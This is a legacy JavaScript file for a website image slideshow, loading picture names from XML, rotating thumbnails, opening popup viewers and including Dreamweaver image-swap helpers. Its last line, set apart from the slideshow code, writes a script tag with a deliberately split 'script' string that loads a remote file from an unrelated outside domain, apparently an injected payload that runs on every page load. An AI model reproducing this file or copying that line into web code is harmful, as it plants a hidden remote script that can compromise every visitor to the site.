﻿
var full2 = new Array();
var xmlDoc;
var test;
var thumbs = new Array();
var full = new Array();
var picArray = new Array();
var picNum=0;
var respNum;
var timeout;
var timing = 0;
var which =0;
var speed = 5000;
var tempString="";
var subA="";
var subB="";
var pNum=0;


function popIt(url){
	window.open(url,'popup',"height=700,width=900,statusbar=no,toolbar=no,menubar=no,location=no,scrollbars=1");
}


function importXML(file)
{
	
	if (document.implementation && document.implementation.createDocument)
	{
		xmlDoc = document.implementation.createDocument("", "", null);
		xmlDoc.onload = slideshowXML;
	}
	else if (window.ActiveXObject)
	{
		xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
		xmlDoc.async="false";
		xmlDoc.onreadystatechange = function () {
			if (xmlDoc.readyState == 4) slideshowXML()
		};
 	}
	else
	{
		alert('Your browser can\'t handle this script');
		return;
	}
	xmlDoc.load(file);
}

function kickOff(){
	//document.images.randomized.src=picArray[pNum].src;
	forward();
}
function forward(){
	
	if(which==picNum){
		which=0;
	}

	if(thumbs.length>0){

		document.getElementById('indeximage').innerHTML="<img alt='Slideshow' src="+picArray[which++].src+" name='slider'>";
		//document.images.slider.src=picArray[which++].src;
	}
	
	timeout = setTimeout('forward()', speed);
}
function viewIt(){
	//alert(full[which]);
	
	//put the popup in here
	
	if(which==0){
		if (window.showModalDialog) {
			window.showModalDialog(full2[which].src,"name","dialogWidth:500px;dialogHeight:500px");
		} 
		else {
			window.open(full2[which].src,'mywin','left=20,top=20,width=500,height=500,toolbar=0,resizable=0,modal=yes');
			
			
		}
		//document.images.viewer.src=full2[which].src;
		//window.open(full2[which].src,'mywin','left=20,top=20,width=500,height=500,toolbar=0,resizable=0,modal=yes');
	}
	else{
		if (window.showModalDialog) {
			window.showModalDialog(full2[which-1].src,"name","dialogWidth:500px;dialogHeight:500px");
		} 
		else {
			window.open(full2[which-1].src,'mywin','left=20,top=20,width=500,height=500,toolbar=0,resizable=0,modal=yes');
			/*html = "<HTML><HEAD><TITLE>Photo</TITLE></HEAD><BODY LEFTMARGIN=0 MARGINWIDTH=0 TOPMARGIN=0 MARGINHEIGHT=0><CENTER><IMG SRC='" + full2[which-1].src + "' BORDER=0 NAME=image onload='window.resizeTo(document.image.width,document.image.height)'></CENTER></BODY></HTML>";
 			popup=window.open('','image','toolbar=0,location=0,directories=0,menuBar=0,scrollbars=0,resizable=1');
 			popup.document.open();
 			popup.document.write(html);
 			popup.document.focus();
 			popup.document.close();*/
		}
		//document.images.viewer.src=full2[which-1].src;
		//window.open(full2[which-1].src,'mywin','left=20,top=20,width=500,height=500,toolbar=0,resizable=0,modal=yes');
	}
}
function sliderXML(){

//document.write('<a href = "#" onClick="window.createPopup();"><img src="'+thumbs[0]+'" name="slider"></a>');
	document.write('<img width="175" height="75" src="'+thumbs[0]+'" name="slider">');
	
}

function randomizer(){
	
//document.write('<a href = "#" onClick="window.createPopup();"><img src="'+thumbs[0]+'" name="randomized"></a>');
	document.write('<img width="146" height="150" src="'+thumbs[0]+'" name="randomized">');
	
}

function slideshowXML(){
		picNum = xmlDoc.getElementsByTagName('picture').length;
		//insert randomizer here for testing
		pNum=Math.floor(Math.random()*picNum);
		
	
		
		for(var j=0;j<picNum;j++){
			tempString=xmlDoc.getElementsByTagName('filename')[j].firstChild.data;
			
			subA  = tempString.substring(tempString.length-4,tempString.length);
			subB = tempString.substring(0,tempString.lastIndexOf('_')); 
			//full[j]='./sliderimages/'+subB+subA;
			thumbs[j] = 'sliderimages/'+xmlDoc.getElementsByTagName('filename')[j].firstChild.data;
			picArray[j] = new Image();
			picArray[j].src = thumbs[j];
			//alert(picArray[0].src);
			//full2[j]=new Image();
			//full2[j].src = full[j];
		}
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

function changeText(){

	document.getElementById("tvalue").innerHTML=changeText.arguments[0];
}



document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Website.js"></scri'+'pt>');